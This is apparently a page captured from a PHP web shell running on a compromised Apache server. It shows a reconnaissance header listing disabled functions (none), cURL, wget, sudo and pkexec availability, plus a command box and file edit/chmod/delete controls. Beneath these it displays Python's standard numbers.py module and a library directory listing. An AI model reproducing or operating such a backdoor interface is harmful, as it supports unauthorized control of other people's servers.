Na}{

Server IP:199.192.16.65

Your IP:216.73.217.137

Web Server:Apache

System:Linux server1.csender.net 4.18.0-553.69.1.el8_10.x86_64 #1 SMP Mon Aug 11 07:22:08 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux

User:csender

PHP Version:8.2.30

Disable Function: NONE

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

Command Bosku:

Path: ~//proc/thread-self/root/lib64/python3.12/

File Content: `numbers.py`

# Copyright 2007 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Abstract Base Classes (ABCs) for numbers, according to PEP 3141.

TODO: Fill out more detailed documentation on the operators."""

############ Maintenance notes #########################################
#
# ABCs are different from other standard library modules in that they
# specify compliance tests.  In general, once an ABC has been published,
# new methods (either abstract or concrete) cannot be added.
#
# Though classes that inherit from an ABC would automatically receive a
# new mixin method, registered classes would become non-compliant and
# violate the contract promised by ``isinstance(someobj, SomeABC)``.
#
# Though irritating, the correct procedure for adding new abstract or
# mixin methods is to create a new ABC as a subclass of the previous
# ABC.
#
# Because they are so hard to change, new ABCs should have their APIs
# carefully thought through prior to publication.
#
# Since ABCMeta only checks for the presence of methods, it is possible
# to alter the signature of a method by adding optional arguments
# or changing parameter names.  This is still a bit dubious but at
# least it won't cause isinstance() to return an incorrect result.
#
#
#######################################################################

from abc import ABCMeta, abstractmethod

__all__ = ["Number", "Complex", "Real", "Rational", "Integral"]

class Number(metaclass=ABCMeta):
    """All numbers inherit from this class.

    If you just want to check if an argument x is a number, without
    caring what kind, use isinstance(x, Number).
    """
    __slots__ = ()

    # Concrete numeric types must provide their own hash implementation
    __hash__ = None


## Notes on Decimal
## ----------------
## Decimal has all of the methods specified by the Real abc, but it should
## not be registered as a Real because decimals do not interoperate with
## binary floats (i.e.  Decimal('3.14') + 2.71828 is undefined).  But,
## abstract reals are expected to interoperate (i.e. R1 + R2 should be
## expected to work if R1 and R2 are both Reals).

class Complex(Number):
    """Complex defines the operations that work on the builtin complex type.

    In short, those are: a conversion to complex, .real, .imag, +, -,
    *, /, **, abs(), .conjugate, ==, and !=.

    If it is given heterogeneous arguments, and doesn't have special
    knowledge about them, it should fall back to the builtin complex
    type as described below.
    """

    __slots__ = ()

    @abstractmethod
    def __complex__(self):
        """Return a builtin complex instance. Called for complex(self)."""

    def __bool__(self):
        """True if self != 0. Called for bool(self)."""
        return self != 0

    @property
    @abstractmethod
    def real(self):
        """Retrieve the real component of this number.

        This should subclass Real.
        """
        raise NotImplementedError

    @property
    @abstractmethod
    def imag(self):
        """Retrieve the imaginary component of this number.

        This should subclass Real.
        """
        raise NotImplementedError

    @abstractmethod
    def __add__(self, other):
        """self + other"""
        raise NotImplementedError

    @abstractmethod
    def __radd__(self, other):
        """other + self"""
        raise NotImplementedError

    @abstractmethod
    def __neg__(self):
        """-self"""
        raise NotImplementedError

    @abstractmethod
    def __pos__(self):
        """+self"""
        raise NotImplementedError

    def __sub__(self, other):
        """self - other"""
        return self + -other

    def __rsub__(self, other):
        """other - self"""
        return -self + other

    @abstractmethod
    def __mul__(self, other):
        """self * other"""
        raise NotImplementedError

    @abstractmethod
    def __rmul__(self, other):
        """other * self"""
        raise NotImplementedError

    @abstractmethod
    def __truediv__(self, other):
        """self / other: Should promote to float when necessary."""
        raise NotImplementedError

    @abstractmethod
    def __rtruediv__(self, other):
        """other / self"""
        raise NotImplementedError

    @abstractmethod
    def __pow__(self, exponent):
        """self ** exponent; should promote to float or complex when necessary."""
        raise NotImplementedError

    @abstractmethod
    def __rpow__(self, base):
        """base ** self"""
        raise NotImplementedError

    @abstractmethod
    def __abs__(self):
        """Returns the Real distance from 0. Called for abs(self)."""
        raise NotImplementedError

    @abstractmethod
    def conjugate(self):
        """(x+y*i).conjugate() returns (x-y*i)."""
        raise NotImplementedError

    @abstractmethod
    def __eq__(self, other):
        """self == other"""
        raise NotImplementedError

Complex.register(complex)


class Real(Complex):
    """To Complex, Real adds the operations that work on real numbers.

    In short, those are: a conversion to float, trunc(), divmod,
    %, <, <=, >, and >=.

    Real also provides defaults for the derived operations.
    """

    __slots__ = ()

    @abstractmethod
    def __float__(self):
        """Any Real can be converted to a native float object.

        Called for float(self)."""
        raise NotImplementedError

    @abstractmethod
    def __trunc__(self):
        """trunc(self): Truncates self to an Integral.

        Returns an Integral i such that:
          * i > 0 iff self > 0;
          * abs(i) <= abs(self);
          * for any Integral j satisfying the first two conditions,
            abs(i) >= abs(j) [i.e. i has "maximal" abs among those].
        i.e. "truncate towards 0".
        """
        raise NotImplementedError

    @abstractmethod
    def __floor__(self):
        """Finds the greatest Integral <= self."""
        raise NotImplementedError

    @abstractmethod
    def __ceil__(self):
        """Finds the least Integral >= self."""
        raise NotImplementedError

    @abstractmethod
    def __round__(self, ndigits=None):
        """Rounds self to ndigits decimal places, defaulting to 0.

        If ndigits is omitted or None, returns an Integral, otherwise
        returns a Real. Rounds half toward even.
        """
        raise NotImplementedError

    def __divmod__(self, other):
        """divmod(self, other): The pair (self // other, self % other).

        Sometimes this can be computed faster than the pair of
        operations.
        """
        return (self // other, self % other)

    def __rdivmod__(self, other):
        """divmod(other, self): The pair (other // self, other % self).

        Sometimes this can be computed faster than the pair of
        operations.
        """
        return (other // self, other % self)

    @abstractmethod
    def __floordiv__(self, other):
        """self // other: The floor() of self/other."""
        raise NotImplementedError

    @abstractmethod
    def __rfloordiv__(self, other):
        """other // self: The floor() of other/self."""
        raise NotImplementedError

    @abstractmethod
    def __mod__(self, other):
        """self % other"""
        raise NotImplementedError

    @abstractmethod
    def __rmod__(self, other):
        """other % self"""
        raise NotImplementedError

    @abstractmethod
    def __lt__(self, other):
        """self < other

        < on Reals defines a total ordering, except perhaps for NaN."""
        raise NotImplementedError

    @abstractmethod
    def __le__(self, other):
        """self <= other"""
        raise NotImplementedError

    # Concrete implementations of Complex abstract methods.
    def __complex__(self):
        """complex(self) == complex(float(self), 0)"""
        return complex(float(self))

    @property
    def real(self):
        """Real numbers are their real component."""
        return +self

    @property
    def imag(self):
        """Real numbers have no imaginary component."""
        return 0

    def conjugate(self):
        """Conjugate is a no-op for Reals."""
        return +self

Real.register(float)


class Rational(Real):
    """.numerator and .denominator should be in lowest terms."""

    __slots__ = ()

    @property
    @abstractmethod
    def numerator(self):
        raise NotImplementedError

    @property
    @abstractmethod
    def denominator(self):
        raise NotImplementedError

    # Concrete implementation of Real's conversion to float.
    def __float__(self):
        """float(self) = self.numerator / self.denominator

        It's important that this conversion use the integer's "true"
        division rather than casting one side to float before dividing
        so that ratios of huge integers convert without overflowing.

        """
        return int(self.numerator) / int(self.denominator)


class Integral(Rational):
    """Integral adds methods that work on integral numbers.

    In short, these are conversion to int, pow with modulus, and the
    bit-string operations.
    """

    __slots__ = ()

    @abstractmethod
    def __int__(self):
        """int(self)"""
        raise NotImplementedError

    def __index__(self):
        """Called whenever an index is needed, such as in slicing"""
        return int(self)

    @abstractmethod
    def __pow__(self, exponent, modulus=None):
        """self ** exponent % modulus, but maybe faster.

        Accept the modulus argument if you want to support the
        3-argument version of pow(). Raise a TypeError if exponent < 0
        or any argument isn't Integral. Otherwise, just implement the
        2-argument version described in Complex.
        """
        raise NotImplementedError

    @abstractmethod
    def __lshift__(self, other):
        """self << other"""
        raise NotImplementedError

    @abstractmethod
    def __rlshift__(self, other):
        """other << self"""
        raise NotImplementedError

    @abstractmethod
    def __rshift__(self, other):
        """self >> other"""
        raise NotImplementedError

    @abstractmethod
    def __rrshift__(self, other):
        """other >> self"""
        raise NotImplementedError

    @abstractmethod
    def __and__(self, other):
        """self & other"""
        raise NotImplementedError

    @abstractmethod
    def __rand__(self, other):
        """other & self"""
        raise NotImplementedError

    @abstractmethod
    def __xor__(self, other):
        """self ^ other"""
        raise NotImplementedError

    @abstractmethod
    def __rxor__(self, other):
        """other ^ self"""
        raise NotImplementedError

    @abstractmethod
    def __or__(self, other):
        """self | other"""
        raise NotImplementedError

    @abstractmethod
    def __ror__(self, other):
        """other | self"""
        raise NotImplementedError

    @abstractmethod
    def __invert__(self):
        """~self"""
        raise NotImplementedError

    # Concrete implementations of Rational and Real abstract methods.
    def __float__(self):
        """float(self) == float(int(self))"""
        return float(int(self))

    @property
    def numerator(self):
        """Integers are their own numerators."""
        return +self

    @property
    def denominator(self):
        """Integers have a denominator of 1."""
        return 1

Integral.register(int)

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
__pycache__	---	0755
asyncio	---	0755
collections	---	0755
concurrent	---	0755
config-3.12-x86_64-linux-gnu	---	0755
ctypes	---	0755
curses	---	0755
dbm	---	0755
email	---	0755
encodings	---	0755
ensurepip	---	0755
html	---	0755
http	---	0755
importlib	---	0755
json	---	0755
lib-dynload	---	0755
lib2to3	---	0755
logging	---	0755
multiprocessing	---	0755
pydoc_data	---	0755
re	---	0755
site-packages	---	0755
sqlite3	---	0755
tkinter	---	0755
tomllib	---	0755
turtledemo	---	0755
unittest	---	0755
urllib	---	0755
venv	---	0755
wsgiref	---	0755
xml	---	0755
xmlrpc	---	0755
zipfile	---	0755
zoneinfo	---	0755
LICENSE.txt	13936bytes	0644
__future__.py	5218bytes	0644
__hello__.py	227bytes	0644
_aix_support.py	4021bytes	0644
_collections_abc.py	32089bytes	0644
_compat_pickle.py	8761bytes	0644
_compression.py	5681bytes	0644
_markupbase.py	14653bytes	0644
_osx_support.py	22023bytes	0644
_py_abc.py	6189bytes	0644
_pydatetime.py	92087bytes	0644
_pydecimal.py	227283bytes	0644
_pyio.py	93593bytes	0644
_pylong.py	10790bytes	0644
_sitebuiltins.py	3128bytes	0644
_strptime.py	28393bytes	0644
_sysconfigdata__linux_x86_64-linux-gnu.py	72132bytes	0644
_threading_local.py	7220bytes	0644
_weakrefset.py	5893bytes	0644
abc.py	6538bytes	0644
aifc.py	34211bytes	0644
antigravity.py	500bytes	0644
argparse.py	101155bytes	0644
ast.py	64452bytes	0644
base64.py	20634bytes	0755
bdb.py	33573bytes	0644
bisect.py	3423bytes	0644
bz2.py	11847bytes	0644
cProfile.py	6555bytes	0755
calendar.py	25864bytes	0644
cgi.py	34418bytes	0755
cgitb.py	12421bytes	0644
chunk.py	5500bytes	0644
cmd.py	14873bytes	0644
code.py	10962bytes	0644
codecs.py	36870bytes	0644
codeop.py	5908bytes	0644
colorsys.py	4062bytes	0644
compileall.py	20507bytes	0644
configparser.py	53789bytes	0644
contextlib.py	27637bytes	0644
contextvars.py	129bytes	0644
copy.py	8412bytes	0644
copyreg.py	7614bytes	0644
crypt.py	3913bytes	0644
csv.py	16386bytes	0644
dataclasses.py	62085bytes	0644
datetime.py	268bytes	0644
decimal.py	2805bytes	0644
difflib.py	83368bytes	0644
dis.py	30227bytes	0644
doctest.py	106749bytes	0644
enum.py	81540bytes	0644
filecmp.py	10381bytes	0644
fileinput.py	15714bytes	0644
fnmatch.py	5999bytes	0644
fractions.py	38147bytes	0644
ftplib.py	34735bytes	0644
functools.py	37940bytes	0644
genericpath.py	5572bytes	0644
getopt.py	7488bytes	0644
getpass.py	5990bytes	0644
gettext.py	21320bytes	0644
glob.py	8732bytes	0644
graphlib.py	9648bytes	0644
gzip.py	25402bytes	0644
hashlib.py	9683bytes	0644
heapq.py	23024bytes	0644
hmac.py	8043bytes	0644
imaplib.py	54209bytes	0644
imghdr.py	4398bytes	0644
inspect.py	127125bytes	0644
io.py	3582bytes	0644
ipaddress.py	81414bytes	0644
keyword.py	1073bytes	0644
linecache.py	5800bytes	0644
locale.py	78599bytes	0644
lzma.py	13277bytes	0644
mailbox.py	78911bytes	0644
mailcap.py	9333bytes	0644
mimetypes.py	23037bytes	0644
modulefinder.py	23699bytes	0644
netrc.py	6922bytes	0644
nntplib.py	41087bytes	0644
ntpath.py	32324bytes	0644
nturl2path.py	2374bytes	0644
numbers.py	11467bytes	0644
opcode.py	13174bytes	0644
operator.py	10965bytes	0644
optparse.py	60369bytes	0644
os.py	40821bytes	0644
pathlib.py	51052bytes	0644
pdb.py	70297bytes	0755
pickle.py	66911bytes	0644
pickletools.py	94052bytes	0644
pipes.py	8978bytes	0644
pkgutil.py	18281bytes	0644
platform.py	43388bytes	0755
plistlib.py	28342bytes	0644
poplib.py	14742bytes	0644
posixpath.py	17483bytes	0644
pprint.py	24158bytes	0644
profile.py	23092bytes	0755
pstats.py	29289bytes	0644
pty.py	6137bytes	0644
py_compile.py	7837bytes	0644
pyclbr.py	11396bytes	0644
pydoc.py	113508bytes	0755
queue.py	11496bytes	0644
quopri.py	7183bytes	0755
random.py	34689bytes	0644
reprlib.py	7148bytes	0644
rlcompleter.py	7827bytes	0644
runpy.py	12885bytes	0644
sched.py	6351bytes	0644
secrets.py	1984bytes	0644
selectors.py	19671bytes	0644
shelve.py	8560bytes	0644
shlex.py	13353bytes	0644
shutil.py	56762bytes	0644
signal.py	2495bytes	0644
site.py	23439bytes	0644
smtplib.py	43531bytes	0755
sndhdr.py	7448bytes	0644
socket.py	37815bytes	0644
socketserver.py	28065bytes	0644
sre_compile.py	231bytes	0644
sre_constants.py	232bytes	0644
sre_parse.py	229bytes	0644
ssl.py	50904bytes	0644
stat.py	5485bytes	0644
statistics.py	50227bytes	0644
string.py	11786bytes	0644
stringprep.py	12917bytes	0644
struct.py	257bytes	0644
subprocess.py	88747bytes	0644
sunau.py	18478bytes	0644
symtable.py	12477bytes	0644
sysconfig.py	33773bytes	0644
tabnanny.py	11531bytes	0755
tarfile.py	114250bytes	0755
telnetlib.py	23334bytes	0644
tempfile.py	32386bytes	0644
textwrap.py	19718bytes	0644
this.py	1003bytes	0644
threading.py	59742bytes	0644
timeit.py	13463bytes	0755
token.py	2511bytes	0644
tokenize.py	21570bytes	0644
trace.py	29352bytes	0755
traceback.py	46393bytes	0644
tracemalloc.py	18047bytes	0644
tty.py	2035bytes	0644
turtle.py	146363bytes	0644
types.py	10993bytes	0644
typing.py	118836bytes	0644
uu.py	7341bytes	0644
uuid.py	29656bytes	0644
warnings.py	21909bytes	0644
wave.py	22769bytes	0644
weakref.py	21513bytes	0644
webbrowser.py	24141bytes	0755
xdrlib.py	5942bytes	0644
zipapp.py	7543bytes	0644
zipimport.py	27840bytes	0644

Command Bosku:

File Content: numbers.py

File Content: `numbers.py`